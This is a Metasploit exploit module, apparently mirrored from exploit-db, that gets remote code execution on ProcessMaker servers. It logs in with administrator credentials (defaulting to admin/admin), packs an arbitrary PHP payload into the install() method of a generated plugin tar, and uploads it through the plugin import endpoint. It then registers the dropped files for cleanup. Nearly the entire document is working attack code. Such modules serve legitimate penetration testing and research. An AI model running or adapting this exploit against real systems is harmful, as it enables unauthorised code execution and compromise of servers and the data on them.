ProcessMaker – Plugin Upload (Metasploit)

  • 作者: Metasploit
    日期: 2018-04-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44399/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'ProcessMaker Plugin Upload',
    'Description'=> %q{
    This module will generate and upload a plugin to ProcessMaker
    resulting in execution of PHP code as the web server user.
    
    Credentials for a valid user account with Administrator roles
    is required to run this module.
    
    This module has been tested successfully on ProcessMaker versions
    1.6-4276, 2.0.23, 3.0 RC 1, 3.2.0, 3.2.1 on Windows 7 SP 1;
    and version 3.2.0 on Debian Linux 8.
    },
    'License'=> MSF_LICENSE,
    'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
    'References' =>
    [
    ['URL', 'http://wiki.processmaker.com/3.0/Plugin_Development']
    ],
    'Payload'=> { 'Space' => 20000 },
    'Platform' => 'php',
    'Arch' => ARCH_PHP,
    'Targets'=> [[ 'Automatic Targeting', {} ]],
    'Privileged' => false,
    'DisclosureDate' => 'Aug 25 2010',
    'DefaultTarget'=> 0))
    register_options(
    [
    OptString.new('USERNAME', [true, 'The username for ProcessMaker', 'admin']),
    OptString.new('PASSWORD', [true, 'The password for ProcessMaker', 'admin']),
    OptString.new('WORKSPACE', [true, 'The ProcessMaker workspace', 'workflow'])
    ])
    end
    
    def login(user, pass)
    vars_post = Hash[{
    'form[USR_USERNAME]' => Rex::Text.uri_encode(user, 'hex-normal'),
    'form[USR_PASSWORD]' => Rex::Text.uri_encode(pass, 'hex-normal')
    }.to_a.shuffle]
    
    print_status "Authenticating as user '#{user}'"
    uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/login/authentication.php"
    res = send_request_cgi 'method'=> 'POST',
     'uri' => uri,
     'cookie'=> @cookie,
     'vars_post' => vars_post
    
    if !res
    fail_with Failure::Unreachable, 'Connection failed'
    elsif res.code == 200 && res.body =~ /Loading styles and images/
    # ProcessMaker 2.x and 3.x
    print_good "#{peer} Authenticated as user '#{user}'"
    elsif res.code == 302 && res.headers['location'] =~ /(cases|processes)/
    # ProcessMaker 1.x
    print_good "#{peer} Authenticated as user '#{user}'"
    else
    fail_with Failure::NoAccess, "#{peer} - Authentication failed"
    end
    end
    
    def upload_plugin plugin_name
    data = generate_plugin plugin_name
    
    print_status "#{peer} Uploading plugin '#{plugin_name}' (#{data.length} bytes)"
    
    # ProcessMaker 1.x requires "-" after the plugin name in the file name
    fname = "#{plugin_name}-.tar"
    
    boundary = "----WebKitFormBoundary#{rand_text_alphanumeric rand(10) + 5}"
    post_data = "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"__notValidateThisFields__\"\r\n"
    post_data << "\r\n\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"DynaformRequiredFields\"\r\n"
    post_data << "\r\n[]\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"form[PLUGIN_FILENAME]\"; filename=\"#{fname}\"\r\n"
    post_data << "Content-Type: application/x-tar\r\n"
    post_data << "\r\n#{data}\r\n"
    post_data << "--#{boundary}\r\n"
    
    uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/setup/pluginsImportFile"
    res = send_request_cgi({
    'method' => 'POST',
    'uri'=> uri,
    'ctype'=> "multipart/form-data; boundary=#{boundary}",
    'cookie' => @cookie,
    'data' => post_data
    }, 5)
    
    # Installation spawns a shell, preventing a HTTP response.
    # If a response is received, something probably went wrong.
    if res
    if res.headers['location'] =~ /login/
    fail_with Failure::NoAccess, 'Administrator privileges are required'
    else
    print_warning "#{peer} Unexpected reply"
    end
    end
    end
    
    def delete_plugin(plugin_name)
    uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/setup/pluginsRemove"
    send_request_cgi({
    'method'=> 'POST',
    'uri' => uri,
    'cookie'=> @cookie,
    'vars_post' => { 'pluginUid' => plugin_name }
    }, 5)
    end
    
    def generate_plugin(plugin_name)
    plugin_class = %Q|<?php
    class #{plugin_name}Class extends PMPlugin {
    function __construct() {
    set_include_path(
    PATH_PLUGINS . '#{plugin_name}' . PATH_SEPARATOR .
    get_include_path()
    );
    }
    }
    |
    
    plugin_php = %Q|<?php
    G::LoadClass("plugin");
    
    class #{plugin_name}Plugin extends PMPlugin
    {
    public function #{plugin_name}Plugin($sNamespace, $sFilename = null)
    {
    $res = parent::PMPlugin($sNamespace, $sFilename);
    $this->sFriendlyName = "#{plugin_name}";
    $this->sDescription= "#{plugin_name}";
    $this->sPluginFolder = "#{plugin_name}";
    $this->sSetupPage= "setup";
    $this->iVersion= 1;
    $this->aWorkspaces = null;
    return $res;
    }
    public function setup() {}
    public function install() { #{payload.encoded} }
    public function enable() {}
    public function disable() {}
    }
    
    $oPluginRegistry =& PMPluginRegistry::getSingleton();
    $oPluginRegistry->registerPlugin('#{plugin_name}', __FILE__);
    |
    
    tarfile = StringIO.new
    Rex::Tar::Writer.new tarfile do |tar|
    tar.add_file "#{plugin_name}.php", 0777 do |io|
    io.write plugin_php
    end
    tar.add_file "#{plugin_name}/class.#{plugin_name}.php", 0777 do |io|
    io.write plugin_class
    end
    end
    tarfile.rewind
    tarfile.read
    end
    
    def cleanup
    delete_plugin @plugin_name
    end
    
    def exploit
    @workspace = datastore['WORKSPACE']
    
    @cookie = "PHPSESSID=#{rand_text_alphanumeric rand(10) + 10};"
    login datastore['USERNAME'], datastore['PASSWORD']
    
    @plugin_name = rand_text_alpha rand(10) + 10
    upload_dir = "../../shared/sites/#{@workspace}/files/input/"
    register_file_for_cleanup "#{upload_dir}#{@plugin_name}-.tar"
    register_file_for_cleanup "#{upload_dir}#{@plugin_name}.php"
    register_file_for_cleanup "#{upload_dir}#{@plugin_name}/class.#{@plugin_name}.php"
    register_dir_for_cleanup "#{upload_dir}#{@plugin_name}"
    
    upload_plugin @plugin_name
    end
    end